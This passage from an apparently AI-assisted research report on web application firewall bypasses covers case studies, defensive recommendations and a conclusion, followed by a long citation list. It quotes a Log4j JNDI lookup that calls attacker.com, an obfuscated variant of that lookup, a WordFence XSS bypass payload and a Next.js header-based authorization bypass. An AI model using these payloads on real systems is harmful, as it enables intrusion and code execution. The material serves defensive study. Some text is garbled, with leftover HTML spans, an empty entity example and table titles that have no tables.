• Content-Type Validation: WAFs and applications should strictly validate the Content-Type header, rejecting requests with unexpected or missing types (e.g., returning 406 Not Acceptable or 415 Unsupported Media Type).⁵¹ Explicitly defining consumable/producible types in the application helps prevent accidental exposure.⁵¹ Responses should also have accurate Content-Type headers to prevent browser misinterpretation.⁵¹
• HTTP Method Restrictions: APIs should only allow appropriate HTTP methods (GET, POST, PUT, DELETE, PATCH, etc.) for each endpoint.⁵¹ WAFs can enforce this, rejecting requests with disallowed methods (405 Method Not Allowed).⁵¹ However, attackers might use techniques like HTTP Verb Tampering ⁶ or Request Smuggling ³¹ to bypass simple WAF method checks. Authorization checks should also verify the user is permitted to use the specific method on the resource.⁵¹
• Authentication/Authorization Tokens (e.g., JWT): While primarily application logic, WAFs might have rules to detect common JWT vulnerabilities, such as the alg:none attack or improper signature validation.⁵¹ However, robust validation must occur server-side, verifying integrity, issuer (iss), audience (aud), expiration (exp), and not-before (nbf) claims.⁵¹
• API Key Management: API keys are often used for identification and rate limiting.⁵¹ WAFs can enforce rate limits based on keys, returning 429 Too Many Requests.⁵¹ However, keys themselves don't provide strong authentication or authorization for sensitive data.⁵¹

Table 3: API Bypass Techniques

6. Real-World Examples and Case Studies

Theoretical bypass techniques become concrete threats when demonstrated in real-world scenarios or documented as vulnerabilities (CVEs). Examining these cases provides valuable insights into how attackers combine techniques and exploit specific WAF product weaknesses or common misconfigurations.

• Log4j (CVE-2021-44228 & related): The initial Log4j exploits often involved simple JNDI lookup strings like ${jndi:ldap://attacker.com/a}. As basic WAF signatures were deployed to block ${jndi:, attackers rapidly developed numerous obfuscated variations [User Query]. These included using different protocols (RMI, DNS), encoding characters within the lookup (e.g., using <span class="math-inline">\{lower\:j\}</span>{lower:n}<span class="math-inline">\{lower\:d\}</span>{lower:i}), utilizing nested variable substitutions, employing Unicode escapes, and leveraging other Log4j features to construct the malicious lookup indirectly, specifically designed to bypass early WAF rules.³⁹ This exemplifies the rapid evolution of bypass techniques in response to initial defenses. Cloudflare noted its AI-based WAF Attack Score helped detect anomalous patterns related to Log4j exploitation attempts.⁵⁹
• JSON-based SQLi Bypass (Claroty/Team82 Research): Researchers demonstrated that major WAFs from Palo Alto Networks, AWS, Cloudflare, F5, and Imperva could be bypassed by embedding SQL injection payloads within valid JSON syntax or using JSON-specific SQL functions.³⁶ The WAFs, lacking native understanding of JSON syntax within SQL contexts, failed to detect the malicious SQL code, while backend databases (PostgreSQL, MySQL, SQLite, etc.) supporting JSON processed the queries successfully.³⁶ This highlights a significant gap where WAF capabilities lagged behind database features. Vendors subsequently updated their products after disclosure.³⁶
• ModSecurity Path Normalization Bypass (CVE-2024-1019): This vulnerability affected ModSecurity v3.0.0-v3.0.11.³⁷ The WAF incorrectly performed URL decoding on the entire request URI before separating the path component from the query string component. This violated RFC expectations and created a parsing discrepancy. Attackers could place percent-encoded malicious payloads (targeting path-based vulnerabilities like LFI or RCE if the path was used unsafely) within the path segment of the URL. ModSecurity would decode it, potentially altering the path structure in a way that hid the payload from path-specific rules, while a compliant backend application would correctly interpret the original path structure after standard normalization, leading to exploitation.³⁷ This underscores the critical importance of correct parsing order and RFC adherence in security components.
• Fortinet FortiADC WAF Bypass & XSS (CVE-2022-38374, FG-IR-22-234): This case involved multiple issues.⁶⁰ A stored XSS vulnerability existed, but payload length was severely restricted, and CSP blocked external resources. Exploitation required chaining: using a small payload to define a function, clicking pagination to get more log entries (payload space), retrieving a larger payload from another reflected (but not XSS-vulnerable) parameter, and executing it. Additionally, a separate WAF bypass (FG-IR-22-234) was found: if the HTTP protocol version (HTTP/1.1) was omitted from the first line of the request, the FortiADC WAF ignored the request, but the load balancer still forwarded it to the backend, allowing direct exploitation of the XSS without WAF interference.⁶⁰
• Cloudflare XSS Bypass (Publicly Known): Researchers demonstrated persistent bypasses of Cloudflare's XSS filters.²¹ One technique involved using superfluous leading zeros in decimal or hexadecimal HTML character entities (e.g., j instead of j). Another involved using SVG tags with event handlers. These bypasses reportedly worked intermittently over several years due to changes or downgrades in Cloudflare's managed rulesets, highlighting the challenge of maintaining effective signatures against evolving browser behaviors and bypass techniques.²¹ Cloudflare acknowledged the vectors and planned fixes in newer WAF engine iterations.²¹
• WordFence WAF XSS Bypass (CVE-2019-9669): A bypass for the popular WordPress WAF, WordFence, was achieved using a crafted payload involving a newline character (%0a) within the javascript: scheme inside an <a> tag's href attribute: <a/href=javascript%0a:alert(1)>.⁴² This specific manipulation evaded the WAF's pattern matching while still being executable by the browser.⁴²
• Cloudflare OGNL Injection Bypass (Aon Red Team): During a red team engagement targeting a system vulnerable to OGNL injection (likely Apache Struts or Confluence), the team encountered Cloudflare WAF rules blocking payloads using java.lang.Runtime.exec() and limiting the use of # and `` characters.⁴⁸ They successfully bypassed these restrictions by switching to java.lang.ProcessBuilder methods and using alternative OGNL syntax that avoided the blocked patterns, achieving remote code execution while remaining undetected.⁴⁸ Cloudflare later updated its default rules to block ProcessBuilder-based payloads as a result.⁴⁸
• Ivanti Auth Bypass & Command Injection (CVE-2023-46805, CVE-2024-21887): These critical vulnerabilities allowed authentication bypass via directory traversal (/../../) in the URL path combined with command injection.⁵⁹ While primarily application flaws, the exploit path involved manipulating the URL structure. Cloudflare reported that its AI-driven WAF Attack Score identified suspicious requests potentially related to these techniques before public disclosure, and emergency rules were deployed afterward to specifically block the known exploit patterns.⁵⁹ This illustrates how WAFs act as a mitigation layer even for application flaws and how advanced detection (ML/AI) aims to catch novel or zero-day patterns.
• Next.js Middleware Bypass (CVE-2025-29927): A critical authorization bypass vulnerability (CVSS 9.1) where attackers could completely skip Next.js middleware execution (often used for authentication/authorization) by simply adding a specific internal HTTP header (x-middleware-subrequest) to their request.⁶¹ This wasn't a signature evasion but an exploitation of a framework design flaw related to internal request handling. Mitigation involves stripping this specific header at the edge using a load balancer, reverse proxy, or WAF rule before it reaches the Next.js application.⁶³ This highlights protocol/implementation level bypasses where WAFs act as a crucial compensating control point.
• CDN/WAF Architectural Bypass (Zafran Research): Research identified over 140,000 domains (including major Fortune 1000 companies like JP Morgan Chase) protected by CDN-based WAFs (AWS, Cloudflare, etc.) that were vulnerable to bypass because their origin servers were directly accessible via IP address over the internet.⁶⁴ Attackers could find these origin IPs through various means (historical DNS, misconfigured services, etc.) and send malicious traffic directly, completely bypassing the CDN WAF. This occurred when origin servers failed to validate that incoming traffic came only from the CDN provider's IPs (IP allowlisting) or lacked validation of a pre-shared secret in a custom HTTP header.⁶⁴ This demonstrates a critical architectural blind spot distinct from payload obfuscation.

These examples show that real-world WAF bypasses are diverse, ranging from clever payload obfuscation ²¹ and exploitation of parsing flaws ³⁶ to architectural misconfigurations ⁶⁴ and manipulation of framework internals.⁶³ Successful defense requires anticipating these varied approaches.

7. Synthesized Knowledge Base and Implications for Defense

The extensive analysis of WAF evasion techniques reveals a complex and dynamic interplay between attacker methodologies and defensive measures. Signature-based WAFs, while valuable, face inherent limitations that sophisticated attackers consistently exploit. A comprehensive defense strategy requires understanding these bypass vectors and implementing layered controls across the WAF, application, infrastructure, and testing processes.

7.1. Categorization of Bypass Methods

WAF bypass techniques can be broadly categorized, providing a framework for analysis and defense planning:

1. Encoding & Obfuscation: Altering payload appearance (URL, HTML, Base64, Unicode, etc.) to evade static patterns.¹⁴
2. Whitespace, Comments, & Case Manipulation: Using syntactically ignored elements or case changes to disrupt pattern matching.¹⁸
3. HTTP Parameter Pollution (HPP): Exploiting inconsistent handling of duplicate parameter names.²⁰
4. HTTP Request Smuggling (HRS): Exploiting CL/TE header processing discrepancies between chained servers.³¹
5. Protocol-Level Evasion & Parsing Discrepancies: Exploiting differences in HTTP protocol or complex data format (JSON, XML, multipart) interpretation between WAF and backend.⁹
6. API-Specific Techniques: Abusing features unique to APIs like GraphQL introspection, batching, or aliases.⁴⁹
7. Payload Fragmentation & Padding: Splitting payloads across parameters/requests or adding junk data to exceed inspection limits.⁷
8. Architectural Bypasses: Circumventing the WAF entirely by accessing backend systems directly (e.g., finding origin IPs behind CDN WAFs).⁶⁴

These categories often overlap, with attackers frequently combining techniques for maximum effect.

7.2. Implications for WAF Ruleset Improvement

To counter these evasion techniques, WAF rulesets and engines must evolve beyond simple signature matching:

• Contextual Awareness & Normalization: Rules need to understand the context in which data appears and perform normalization (decoding, case normalization, comment stripping) consistently with the backend application.⁹ Stricter validation and rejection of ambiguous requests are preferable to potentially incorrect cleaning.²⁸
• Robust Encoding Handling: WAFs must correctly handle multiple layers of common encodings (URL, HTML, Base64, Unicode) and be aware of potential double-encoding bypasses.¹⁴
• API-Specific Parsing & Rules: WAFs protecting APIs need dedicated parsers for JSON, XML, and GraphQL.²² Rules should inspect nested structures, validate schema adherence (where applicable), detect API-specific attacks like GraphQL complexity abuse, batching, or introspection attempts.⁴⁹ JSON SQLi detection requires parsing SQL within JSON.³⁶
• Strict Protocol Validation: Implement rigorous HTTP protocol validation to detect anomalies indicative of HPP, HRS (e.g., conflicting CL/TE headers, invalid chunking), verb tampering, and other protocol-level evasions.²⁵ Reject non-compliant requests.
• Regular Updates & Active Tuning: Continuously update signatures and rulesets to cover new threats and bypass techniques.¹ Actively monitor WAF logs and tune rules based on application-specific traffic patterns to minimize both false positives and false negatives.⁶ Use allowlists for known safe patterns where appropriate.¹²
• Leverage Advanced Detection: Augment signatures with threat intelligence feeds ¹², behavioral analysis, anomaly detection, and machine learning models to identify novel attacks, zero-days, and sophisticated evasions that bypass static rules.⁷
• Positive Security Model Adoption: Where feasible, especially for critical or limited-functionality endpoints (like admin interfaces or specific APIs), implement a positive security model (allowlisting) for stricter control.³

7.3. Recommendations for Security Testing & Threat Modeling

Defensive strategies must be validated through rigorous testing and informed by realistic threat models:

• Assume WAF Bypass in Threat Modeling: Explicitly model attack paths that assume the WAF has been bypassed using known techniques. Analyze how vulnerabilities could be exploited despite the WAF's presence.
• Targeted WAF Evasion Testing: Conduct regular penetration tests that specifically focus on identifying and exploiting WAF bypass techniques relevant to the deployed WAF product and its configuration.¹ Don't just test the application behind the WAF; test the WAF itself.
• Utilize Bypass Tools & Techniques: Employ fuzzing tools (e.g., OWASP ZAP, Burp Suite extensions like Hackvertor, IP Rotate, HTTP Request Smuggler) and known bypass lists (SecLists, Payloads All The Things) during testing.³ Test various encoding, whitespace, comment, HPP, HRS, and vulnerability-specific variations.
• Fuzzing for Parsing Discrepancies: Go beyond payload mutation fuzzing. Use grammar-aware or protocol-level fuzzers to generate malformed requests targeting potential parsing inconsistencies between the WAF and backend for different content types (JSON, XML, multipart).⁹
• Log Analysis & Monitoring: Integrate WAF logs with application logs and SIEM systems. Actively monitor for signs of bypass attempts (e.g., unusual encoding, fragmented requests, protocol violations), successful attacks that weren't blocked, and patterns indicating false positives or negatives.¹
• WAF Configuration Audits: Include WAF policy reviews and configuration checks as part of regular security audits to ensure rules are correctly implemented, up-to-date, and appropriately tuned.⁶

7.4. Enhancing Application & Reverse Proxy Security Logic

WAFs should be part of a layered security strategy, not the sole line of defense.⁶ Strengthening the application and intermediary infrastructure is crucial:

• Secure Coding Practices: Prioritize secure coding from the outset. Use safe APIs like parameterized queries or ORMs correctly to prevent injection flaws at the source.⁶⁷ Avoid calling OS commands directly whenever possible; use safer language-specific functions instead.⁴⁶
• Robust Input Validation & Output Encoding: Implement strong, context-aware input validation on the server-side using allowlists for expected characters/formats.²⁵ Perform output encoding appropriate for the context where data is displayed (HTML, HTML attribute, JavaScript, CSS, URL) to prevent XSS.⁴¹
• Strict Protocol Handling at Proxies/Load Balancers: Configure front-end servers (reverse proxies, load balancers, CDNs) to normalize ambiguous requests (e.g., handle duplicate headers consistently) or reject them outright.²⁸ To mitigate HRS, disable HTTP/1.1 backend connection reuse where possible, or use HTTP/2 end-to-end.³⁰ Validate requests rewritten during HTTP/2-to-HTTP/1.1 downgrades.³¹ Strip potentially dangerous internal headers like x-middleware-subrequest at the edge.⁶³
• Content Security Policy (CSP): Implement and maintain a strict CSP as a defense-in-depth measure against XSS, limiting the sources from which scripts, styles, and other resources can be loaded.⁶
• Origin Server Protection (CDN WAFs): If using a CDN-based WAF, ensure origin servers are not directly accessible from the internet. Implement IP allowlisting restricting access to only the CDN provider's IPs and/or validate a pre-shared secret passed in a custom HTTP header from the CDN.⁶⁴
• Secure Configuration & Hardening: Apply secure configurations to web servers, application servers, databases, and operating systems. Remove unnecessary features, modules, and default accounts.⁶⁷ Keep all software patched.⁶

Table 4: Actionable Recommendations Mapped to Bypass Categories

8. Conclusion

Web Application Firewalls are an essential component of modern web security, providing a valuable layer of defense against common attacks. However, as this analysis demonstrates, WAFs, particularly those relying heavily on signature-based detection, are susceptible to a wide array of sophisticated evasion and obfuscation techniques. Attackers exploit inconsistencies in parsing and normalization, leverage various encoding schemes, manipulate HTTP parameters and protocol elements, and abuse features specific to APIs like GraphQL to bypass WAF defenses.⁷

The key findings underscore that WAF bypass is not a niche technique but a common element in the attacker's playbook, facilitated by the inherent limitations of signature matching against the vast complexity of web protocols, data formats, and application logic.¹¹ Real-world incidents and vulnerability disclosures consistently reveal successful bypasses against even major WAF vendors, often stemming from subtle parsing discrepancies, incomplete signature coverage, or architectural weaknesses.²¹

The threat landscape is constantly evolving, with attackers continuously refining bypass methods as defenses improve.⁴ Relying solely on a WAF for application security is insufficient. Effective defense requires a multi-layered, defense-in-depth strategy that integrates WAFs with robust application security practices, secure infrastructure configuration, continuous monitoring, and rigorous security testing specifically designed to uncover WAF evasion possibilities.⁶ By understanding the diverse methods attackers use to circumvent WAFs, organizations can better anticipate threats, design more resilient security controls, improve WAF rule tuning, and ultimately build more secure web applications and APIs. This knowledge base serves as a foundation for that ongoing effort.

Works cited

1. The Importance of Web Application Firewalls (WAFs) and How to Protect Against WAF Bypass Attacks - TeckPath, accessed on April 14, 2025, https://teckpath.com/the-importance-of-web-application-firewalls-wafs-and-how-to-protect-against-waf-bypass-attacks/
2. Guide on Web Application Firewall Bypass | YesWeHack Learning Bug Bounty, accessed on April 14, 2025, https://www.yeswehack.com/learn-bug-bounty/web-application-firewall-bypass
3. When WAFs Go Awry: Common Detection & Evasion Techniques for ..., accessed on April 14, 2025, https://www.mdsec.co.uk/2024/10/when-wafs-go-awry-common-detection-evasion-techniques-for-web-application-firewalls/
4. What Is WAF Evasion? | Prophaze Learning Center, accessed on April 14, 2025, https://prophaze.com/learn/waf/what-is-waf-evasion/
5. SEA WAF: The Prevention of SQL Injection Attacks on Web Applications - SciSpace, accessed on April 14, 2025, https://scispace.com/pdf/sea-waf-the-prevention-of-sql-injection-attacks-on-web-3ttm76whmw.pdf
6. Web Application Firewall Bypass Techniques - Scaler Topics, accessed on April 14, 2025, https://www.scaler.com/topics/cyber-security/web-application-firewall-bypass-techniques/
7. How Do Hackers Bypass WAF? | Prophaze Learning Center, accessed on April 14, 2025, https://prophaze.com/learn/waf/how-do-hackers-bypass-waf/
8. What are WAF Bypass Attacks? - Azion, accessed on April 14, 2025, https://www.azion.com/en/learning/websec/what-are-waf-bypass-attacks/
9. arxiv.org, accessed on April 14, 2025, https://arxiv.org/pdf/2503.10846
10. Break the Wall from Bottom: Automated Discovery of Protocol-Level Evasion Vulnerabilities in Web Application Firewalls - Jianjun Chen, accessed on April 14, 2025, https://www.jianjunchen.com/p/wafmanis.sp24.pdf
11. Signature-Based vs. Scoring-Based WAF - Azion, accessed on April 14, 2025, https://www.azion.com/en/blog/signature-vs-scoring-waf/
12. How to Minimize False Positives in WAF - Indusface, accessed on April 14, 2025, https://www.indusface.com/blog/the-risks-of-false-positives-with-web-application-firewalls/
13. WAFFLED: Exploiting Parsing Discrepancies to Bypass Web Application Firewalls - arXiv, accessed on April 14, 2025, https://arxiv.org/html/2503.10846v1
14. Obfuscating attacks using encodings | Web Security Academy, accessed on April 14, 2025, https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings
15. A Comprehensive Survey of ML-Based WAFs with Signature and Anomaly Detection, accessed on April 14, 2025, https://www.researchgate.net/publication/383268923_A_Comprehensive_Survey_of_ML-Based_WAFs_with_Signature_and_Anomaly_Detection
16. Top 10 Ways to Bypass a WAF - BugBase Blogs, accessed on April 14, 2025, https://bugbase.ai/blog/top-10-ways-to-bypass-waf
17. XSS Filter Evasion: How Attackers Bypass XSS Filters – And Why Filtering Alone Isn't Enough | Acunetix, accessed on April 14, 2025, https://www.acunetix.com/blog/articles/xss-filter-evasion-bypass-techniques/
18. SQL Injection Bypassing WAF - OWASP Foundation, accessed on April 14, 2025, https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
19. XSS Filter Evasion - OWASP Cheat Sheet Series, accessed on April 14, 2025, https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
20. Methods to Bypass a Web Application Firewall - Positive Technologies, accessed on April 14, 2025, https://www.ptsecurity.com/upload/corporate/ww-en/download/PT-devteev-CC-WAF-ENG.pdf
21. Cloudflare WAF bypass exploits revealed - Security Report, accessed on April 14, 2025, https://securityreport.com/cloudflare-waf-xss-bypass-exploits-revealed/
22. Rules to inspect JSON Body - WafCharm, accessed on April 14, 2025, https://www.wafcharm.com/en/blog/rules-to-inspect-json-body/
23. Bypassing WAFs with the phantom $Version cookie | PortSwigger Research, accessed on April 14, 2025, https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
24. HTTP parameter pollution - Wikipedia, accessed on April 14, 2025, https://en.wikipedia.org/wiki/HTTP_parameter_pollution
25. HTTP Parameter Pollution | Examples & Mitigation Methods | Imperva, accessed on April 14, 2025, https://www.imperva.com/learn/application-security/http-parameter-pollution/
26. How to Detect HTTP Parameter Pollution Attacks | Acunetix, accessed on April 14, 2025, https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/
27. A Look at HTTP Parameter Pollution and How To Prevent It - Security Intelligence, accessed on April 14, 2025, https://securityintelligence.com/posts/how-to-prevent-http-parameter-pollution/
28. HTTP Protocol Validation Policy - Imperva Documentation Portal, accessed on April 14, 2025, https://docs.imperva.com/en-US/bundle/v15.2-waf-management-server-manager-user-guide/page/1178.htm
29. Confessions of a WAF Developer: Protocol-Level Evasion of Web Application Firewalls - InfoconDB, accessed on April 14, 2025, https://infocondb.org/con/black-hat/black-hat-usa-2012/confessions-of-a-waf-developer-protocol-level-evasion-of-web-application-firewalls
30. What is HTTP Request Smuggling? Exploitations and Security Best Practices - Vaadata, accessed on April 14, 2025, https://www.vaadata.com/blog/what-is-http-request-smuggling-exploitations-and-security-best-practices/
31. What is HTTP request smuggling? Tutorial & Examples | Web ..., accessed on April 14, 2025, https://portswigger.net/web-security/request-smuggling
32. Exploiting HTTP request smuggling vulnerabilities | Web Security Academy - PortSwigger, accessed on April 14, 2025, https://portswigger.net/web-security/request-smuggling/exploiting
33. Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability - PortSwigger, accessed on April 14, 2025, https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te
34. A Pentester's Guide to HTTP Request Smuggling - Cobalt, accessed on April 14, 2025, https://www.cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling
35. Playing with Content-Type – XXE on JSON Endpoints - NetSPI, accessed on April 14, 2025, https://www.netspi.com/blog/technical-blog/web-application-pentesting/playing-content-type-xxe-json-endpoints/
36. {JS-ON: Security-OFF}: Abusing JSON-Based SQL to Bypass WAF | Claroty, accessed on April 14, 2025, https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
37. CVEs - OWASP Foundation, accessed on April 14, 2025, https://owasp.org/www-project-modsecurity/tab_cves
38. Acronis | Report #1224660 - bypass sql injection #1109311 - HackerOne, accessed on April 14, 2025, https://hackerone.com/reports/1224660
39. WAF Bypass Using JSON-Based SQL Injection Attacks - Picus Security, accessed on April 14, 2025, https://www.picussecurity.com/resource/blog/waf-bypass-using-json-based-sql-injection-attacks
40. 2022 in Review: Team82's XIoT Research Agenda | Claroty, accessed on April 14, 2025, https://claroty.com/team82/blog/2022-in-review-team82-s-xiot-research-agenda
41. Cross Site Scripting Prevention - OWASP Cheat Sheet Series, accessed on April 14, 2025, https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
42. Popular Wordpress WAF bypass Zeroday discovered by Edgescan, accessed on April 14, 2025, https://www.edgescan.com/popular-wordpress-waf-bypass-zeroday-discovered-by-edgescan/
43. XSS Filter Evasion: Why Filtering Doesn't Stop Cross-Site Scripting - Invicti, accessed on April 14, 2025, https://www.invicti.com/blog/web-security/xss-filter-evasion/
44. WAF evasion techniques for Command Injection - DevCentral - F5, accessed on April 14, 2025, https://community.f5.com/kb/technicalarticles/waf-evasion-techniques-for-command-injection/331312
45. What is OS command injection, and how to prevent it? | Web Security Academy, accessed on April 14, 2025, https://portswigger.net/web-security/os-command-injection
46. OS Command Injection Defense - OWASP Cheat Sheet Series, accessed on April 14, 2025, https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
47. Back to Basics: OS Command Injection | Fastly, accessed on April 14, 2025, https://www.fastly.com/blog/back-to-basics-os-command-injection
48. Red Team Case Study: Bypassing CloudFlare WAF for Successful OGNL Injection - Aon, accessed on April 14, 2025, https://www.aon.com/en/insights/cyber-labs/red-team-case-study-bypassing-cloudflare-waf-for-successful-ognl-injection
49. GraphQL - OWASP Cheat Sheet Series, accessed on April 14, 2025, https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
50. OWASP Singapore Chapter, accessed on April 14, 2025, https://owasp.org/www-chapter-singapore/
51. REST Security - OWASP Cheat Sheet Series, accessed on April 14, 2025, https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html
52. NGINX App Protect WAF Configuration Guide, accessed on April 14, 2025, https://docs.nginx.com/nginx-app-protect-waf/v4/configuration-guide/configuration/
53. Hacking GraphQL endpoints in Bug Bounty Programs - YesWeHack, accessed on April 14, 2025, https://www.yeswehack.com/learn-bug-bounty/hacking-graphql-endpoints
54. How a GraphQL Bug Resulted in Authentication Bypass | HackerOne, accessed on April 14, 2025, https://www.hackerone.com/blog/how-graphql-bug-resulted-authentication-bypass
55. GraphQL API vulnerabilities | Web Security Academy - PortSwigger, accessed on April 14, 2025, https://portswigger.net/web-security/graphql
56. Testing GraphQL - OWASP Foundation, accessed on April 14, 2025, https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL
57. Google Cloud Armor preconfigured WAF rules overview, accessed on April 14, 2025, https://cloud.google.com/armor/docs/waf-rules
58. ADR vs WAF and EDR Technology | Anatomy of an Attack - Contrast Security, accessed on April 14, 2025, https://www.contrastsecurity.com/security-influencers/anatomy-of-an-attack-adr-vs-waf-and-edr-technology-contrast-security
59. How Cloudflare's AI WAF proactively detected the Ivanti Connect Secure critical zero-day vulnerability, accessed on April 14, 2025, https://blog.cloudflare.com/how-cloudflares-ai-waf-proactively-detected-ivanti-connect-secure-critical-zero-day-vulnerability/
60. Living-off-the-webpage: Space-efficient Persistent XSS to RCE in FortiADC | Secura, accessed on April 14, 2025, https://www.secura.com/blog/fortiadc-xss-to-rce
61. Detecting and Mitigating an Authorization Bypass Vulnerability in Next.js | Akamai, accessed on April 14, 2025, https://www.akamai.com/blog/security-research/march-authorization-bypass-critical-nextjs-detections-mitigations
62. CVE-2025-29927 - Authorization Bypass Vulnerability in Next.js: All You Need to Know, accessed on April 14, 2025, https://jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass/
63. CVE-2025-29927: Next.js Middleware Bypass Vulnerability Explained - Picus Security, accessed on April 14, 2025, https://www.picussecurity.com/resource/blog/cve-2025-29927-nextjs-middleware-bypass-vulnerability
64. BreakingWAF: Widespread WAF Bypass Impacts Nearly 40% of Fortune 100 companies, accessed on April 14, 2025, https://www.zafran.io/resources/breaking-waf
65. WAFBooster: Automatic Boosting of WAF Security Against Mutated Malicious Payloads - arXiv, accessed on April 14, 2025, https://arxiv.org/html/2501.14008v1
66. GenSQLi: A Generative Artificial Intelligence Framework for Automatically Securing Web Application Firewalls Against Structured Query Language Injection Attacks - MDPI, accessed on April 14, 2025, https://www.mdpi.com/1999-5903/17/1/8
67. OWASP Top 10: Cheat Sheet of Cheat Sheets - Oligo Security, accessed on April 14, 2025, https://www.oligo.security/academy/owasp-top-10-cheat-sheet-of-cheat-sheets
68. SQL Injection Prevention - OWASP Cheat Sheet Series, accessed on April 14, 2025, https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html